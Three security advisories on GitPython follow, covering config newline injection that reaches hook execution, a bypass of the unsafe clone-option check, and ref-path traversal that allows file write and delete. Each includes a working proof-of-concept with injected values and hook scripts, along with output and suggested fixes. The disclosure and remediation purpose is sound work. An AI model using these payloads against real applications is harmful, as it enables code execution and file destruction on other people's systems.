Package Instance

GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath
`GitConfigParser.set_value()` passes values to Python's `configparser` without validating for newlines. GitPython's own `_write()` converts embedded newlines into indented continuation lines (e.g. `\n` becomes `\n\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.

The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.

This was found while auditing MLRun's `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`.

PoC (standalone, no MLRun required):

```python
import git, subprocess, os

repo = git.Repo("/tmp/testrepo")

with repo.config_writer() as cw:
    cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")

r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip())  # /tmp/hooks

os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)

repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read())  # uid=...
```

Tested on GitPython 3.1.46, git 2.39+.

Impact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.

Remediation: `set_value()` should raise on CR, LF, or NUL in values rather than silently pass them through:

```python
import re

if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
    raise ValueError("Git config values must not contain CR, LF, or NUL")
```

Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.

Affected wherever `config_writer().set_value(section, key, user_input)` is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their `set_value()` call sites for externally influenced inputs.

GitPython: Unsafe option check validates multi_options before shlex.split transformation
### Summary

`_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone.

### Details

The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):
```python
multi = shlex.split(" ".join(multi_options))
```

Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):
```python
Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)
```

Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):
```python
proc = git.clone(multi, "--", url, path, ...)
```

The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`:
```python
if option.startswith(unsafe_option) or option == bare_option:
```

`"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git.

Also affects `Submodule.update()` via `clone_multi_options`.

### PoC

```python
import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))

from git import Repo
from git.exc import UnsafeOptionError

try:
    Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
    print("multi_options=['--config', '...']: Block as expected")
except Exception:
    pass

DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"

if not SRC.exists():
    SRC.mkdir(parents=True)
    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
    r("git", "init", "-b", "main")
    (SRC / "f").write_text("x\n")
    r("git", "add", ".")
    r("git", "commit", "-m", "init")

HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)

LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()

try:
    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
    print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
    pass

if not LOG.exists() and DST.exists():
    subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)

print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
    print(LOG.read_text().strip())
```

**Output:**
```
multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked

Hook executed: True
texugo
DESKTOP-5w5HH79
```

### Impact

Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository
## 🧾 Summary

A vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**.

---

## 📦 Affected Versions

* Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout)

---

## 🧠 Details

### Vulnerability Type

**Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion**

---

### Root Cause

Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.

`SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.

---

### Affected Code

```python
def set_reference(self, ref, logmsg=None):
    ...
    fpath = self.abspath
    assure_directory_exists(fpath, is_file=True)

    lfd = LockedFD(fpath)
    fd = lfd.open(write=True, stream=True)
    ...
```

```python
@classmethod
def delete(cls, repo, path):
    full_ref_path = cls.to_full_path(path)
    abs_path = os.path.join(repo.common_dir, full_ref_path)
    if os.path.exists(abs_path):
        os.remove(abs_path)
```

```python
def rename(self, new_path, force=False):
    new_path = self.to_full_path(new_path)
    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
    ...
    os.rename(cur_abs_path, new_abs_path)
```

---

### Attack Vector

**Local attack through application-controlled input passed into GitPython reference APIs**

### Authentication Required

**None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.**

---

## 🧪 Proof of Concept

### Setup

```bash
pip install GitPython==3.1.46
python poc.py
```

---

### Exploit

```python
import shutil
from pathlib import Path

from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference

base = Path("gp-ghsa-poc").resolve()
if base.exists():
    shutil.rmtree(base)

repo_dir = base / "repo"
repo = Repo.init(repo_dir)

(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")

outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")

print(f"repo_dir       = {repo_dir}")
print(f"outside_write  = {outside_write}")
print(f"outside_delete = {outside_delete}")

Reference.create(repo, "../../../outside_write.txt", "HEAD")

print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
    print("[+] outside_write content:")
    print(outside_write.read_text(encoding="utf-8"))

SymbolicReference.delete(repo, "../../../outside_delete.txt")

print("\n[+] outside_delete exists after delete:", outside_delete.exists())
```

---

### Result

```text
repo_dir       = ...\gp-ghsa-poc\repo
outside_write  = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt

[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>

[+] outside_delete exists after delete: False
```

---

## 💥 Impact

### What can an attacker do?

* Create or overwrite files outside the repository metadata directory
* Delete attacker-chosen files reachable from the process permissions
* Corrupt application state or configuration files
* Cause denial of service by deleting or overwriting important files

---

### Security Impact

* **Confidentiality:** Low
* **Integrity:** High
* **Availability:** High

---

### Who is affected?

* Applications that expose GitPython reference operations to user-controlled input
* Git automation services, repository management backends, CI/CD helpers, and developer platforms
* Multi-user environments where one user can influence ref names processed on behalf of another workflow

---

## 🛠️ Mitigation / Fix

### Recommended Fix

```python
def _validate_ref_write_path(repo, path, *, for_git_dir=False):
    SymbolicReference._check_ref_name_valid(path)

    base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()
    target = (base / path).resolve()

    if base not in [target, *target.parents]:
        raise ValueError(f"Reference path escapes repository boundary: {path}")

    return str(target)
```

```python
full_ref_path = cls.to_full_path(path)
_validate_ref_write_path(repo, full_ref_path)
```